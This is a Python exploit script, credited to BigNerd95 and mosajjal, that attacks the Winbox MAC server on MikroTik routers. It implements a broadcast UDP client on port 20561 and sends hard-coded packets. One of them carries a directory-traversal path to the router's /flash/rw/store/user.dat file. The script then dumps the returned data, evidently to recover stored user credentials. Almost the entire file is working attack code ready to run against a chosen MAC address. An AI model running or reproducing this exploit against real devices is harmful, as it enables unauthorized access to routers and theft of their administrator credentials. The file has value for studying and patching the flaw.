import threading, socket, struct, time, sys, binascii, datetime from extract_user import dump # MAC server Winbox exploit by BigNerd95 (and mosajjal) a = bytearray([0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00]) b = bytearray([0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00]) class MikrotikMACClient(): START = 0 DATA = 1 ACK = 2 END = 255 PROTO_VERSION = 1 CLIENT_TYPE = 0x0F90 SESSION_ID = 0x1234 ADDR = ("255.255.255.255", 20561) HEADLEN = 22 VERBOSE = False def __init__(self, mac): self.session_bytes_sent = 0 self.session_bytes_recv = 0 self.source_mac = b"\xff\xff\xff\xff\xff\xff" # put mac of your pc if mikrotik is not responding self.dest_mac = mac self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) self.sock.bind(('', 0)) self.buffer = [] self.work = True self.connected = False self.rm = threading.Thread(target=self.__recv_manager__) self.rm.start() self.__send_init__() def __recv_manager__(self): while self.work: try: data, _ = self.sock.recvfrom(1024*64) self.__parse_packet__(data) except Exception as e: self.__print__("Socket aborted.") def __buffer_pop__(self): while not self.buffer and self.connected: time.sleep(0.005) return self.buffer.pop(0) def __parse_packet__(self, data): _, packet_type = struct.unpack(">BB", data[:2]) session_id, _, session_bytes = struct.unpack(">HHI", data[14:self.HEADLEN]) if packet_type == self.DATA: self.__print__("New DATA") self.session_bytes_recv += len(data) - self.HEADLEN self.__send_ack__() self.buffer.append(data[self.HEADLEN:]) self.connected = True elif packet_type == self.ACK: self.__print__("New ACK") self.connected = True self.session_bytes_sent = session_bytes elif packet_type == self.END: self.__print__("End session") self.connected = False self.work = False self.__send_ack__() else: self.__print__("Unknown packet") self.__print__(data) self.__print__("ID:", session_id, "Bytes:", session_bytes) if len(data) > self.HEADLEN: self.__print__("Data:", data[self.HEADLEN:]) self.__print__() def __send_ack__(self): self.sock.sendto(self.__build_packet__(self.ACK), self.ADDR) def __send_data__(self, data): self.sock.sendto(self.__build_packet__(self.DATA, data), self.ADDR) def __send_end__(self): self.sock.sendto(self.__build_packet__(self.END), self.ADDR) def __send_init__(self): self.sock.sendto(self.__build_packet__(self.START), self.ADDR) n = datetime.datetime.now() while not self.connected: if (datetime.datetime.now()-n).total_seconds() > 3: #self.close() # This does not seem to work as expected. self.work = False #self.sock.setblocking(0) # This doesn't seem to affect the "recvfrom" if it is already waiting. raise Exception("Conenction timeout, no response from " + self.dest_mac) time.sleep(0.005) def __build_packet__(self, packet_type, data=b""): header = struct.pack(">BB", self.PROTO_VERSION, packet_type ) header += self.source_mac header += binascii.unhexlify(self.dest_mac.replace(':', '')) header += struct.pack(">HHI", self.SESSION_ID, self.CLIENT_TYPE, self.session_bytes_sent if packet_type == self.DATA else self.session_bytes_recv ) return header + data def __print__(self, *msg): if self.VERBOSE: print(*msg) def send(self, data): self.__send_data__(data) def recv(self, minlen=None, contains=None): d = self.__buffer_pop__() while (minlen and len(d) < minlen) or (contains and contains not in d): d = self.__buffer_pop__() return d def close(self): self.work = False self.__send_end__() if __name__ == "__main__": if len(sys.argv) < 2 or len(sys.argv) > 2: print("Usage: python3 MACServerExploit.py MAC_ADDRESS") exit() mac = sys.argv[1] if len(mac) != 17 or len(mac.replace(':', '')) != 12: # Lazy MAC address check. print("\"" + mac + "\" is an invalid MAC address. Has to be formatted as: 11:22:33:44:55:66") exit() try: m = MikrotikMACClient(mac) m.send(a) b[19] = m.recv(minlen=39)[38] # set correct session id m.send(b) d = m.recv(contains=b"\x11\x00\x00\x21") except Exception as e: print("Connection error: " + str(e)) exit() m.close() #Get results print("Connected to " + mac) if len(d[55:]) > 25: print("Exploit successful") dump(d[55:]) else: print("Exploit failed")